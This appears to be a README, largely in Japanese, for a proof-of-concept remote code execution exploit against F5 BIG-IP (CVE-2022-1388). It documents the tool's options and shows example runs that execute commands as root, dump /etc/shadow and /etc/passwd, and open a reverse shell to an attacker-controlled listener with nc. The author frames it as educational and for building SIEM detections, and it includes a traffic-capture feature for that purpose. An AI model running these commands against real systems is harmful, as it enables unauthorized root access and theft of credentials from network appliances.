
-- 教育目的のみで使用すること -- CVE-2022-1388 の概念実証 (PoC) RCE に加え、ブルーチームおよびレッドチーム向けの追加機能を備えています。
著者は、このプロジェクト/リポジトリのいかなる側面を用いて行われた行動についても責任を負いません。私は、攻撃の理解と SIEM 内での検知ルール作成を目的としてこれを作成し、他の人にも同じことをしてもらえるよう共有したいと思いました。使用は自己責任です。
このエクスプロイトは、F5 Systems の BIG-IP iControl REST の脆弱性 CVE-2022-1388 を対象としています。影響を受けるバージョンやその他の情報については、F5 のアドバイザリ (https://support.f5.com/csp/article/K23605346) を参照してください。
PR や問題の報告はいつでも歓迎します。これは、Python 3.6 を搭載した CentOS マシンから、Google Cloud 上の複数の脆弱な F5 VE に対してテストされました。
CVE-2022-1388.py [-h] -t TARGET -p PORT [-c CMD] [-s] [-e] [-lh LHOST] [-lp LPORT]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET, --RHOSTS TARGET
Target IP of vulnerable BIG-IP system
-p PORT, --port PORT, --RPORT PORT
Target port on vulnerable BIG-IP system
-c CMD, --cmd CMD, --command CMD
Command to run on target system
-e, --export, --tcpdump
Export captured traffic and ssl-key.log | **Requires sudo privileges!
-q, --quiet Don't display banner
-s, --shell Launch an interactive shell
-lh LHOST, --lhost LHOST, --LHOST LHOST
Required for -s [shell]; Local IP/interface to bind listener to
-lp LPORT, --lport LPORT, --LPORT LPORT
Required for -s [shell]; Local port to bind listener to
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c id
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/shadow" -q
root:!!:18656:0:99999:7:::
bin:*:16479:0:99999:7:::
daemon:*:16479:0:99999:7:::
adm:*:16479:0:99999:7:::
lp:*:16479:0:99999:7:::
mail:*:16479:0:99999:7:::
uucp:*:16479:0:99999:7:::
[[ removed for brevity ]]
Attacker:
$ python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -s -lh 10.142.0.8 -lp 4444
===============================================================================================================
[+] CVE-2022-1388 Exploit affecting F5 BIG-IP
[+] Author: vaelwolf
[+] Remediation:
Upgrade to a patched version found in the vendor advisory: https://support.f5.com/csp/article/K23605346
[!] For educational use only! Use at your own risk.
===============================================================================================================
[+] If you haven't already, please start your listener of choice on port 4444
[+] Press any key to continue...
[+] Exploit finished. If you launched a reverse shell listener, check there for your terminal!
Listener:
$ nc -lp 4444
bash: no job control in this shell
[@localhost:Active:Standalone] restjavad # whoami
whoami
root
-e (--export) フラグを指定すると、detection.pcap と ssl-key.log の 2 つのファイルが作成されます。これらのファイルは、-e フラグを指定するたびに上書きされます。保存しておきたいファイルは、移動または名前を変更することを忘れないでください。ssl-key.log は、Wireshark の Preferences -> Protocols -> TLS -> (Pre)-Master-Secret log filename を介してインポートでき、TLS セッションを復号化できます。tcpdump を使用するため、-e を使用する場合は、スクリプトを sudo で実行する必要があることに注意してください。
$ sudo python3 CVE-2022-1388.py -t 10.142.0.10 -p 8443 -c "cat /etc/passwd" -q -e
[+] Starting tcpdump on port 8443 for 5 seconds
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
[[ removed for brevity ]]
TLS 復号化前:
自動エクスポートされた ssl-key.log を Wireshark の TLS 環境設定に追加:
TLS 復号化後:
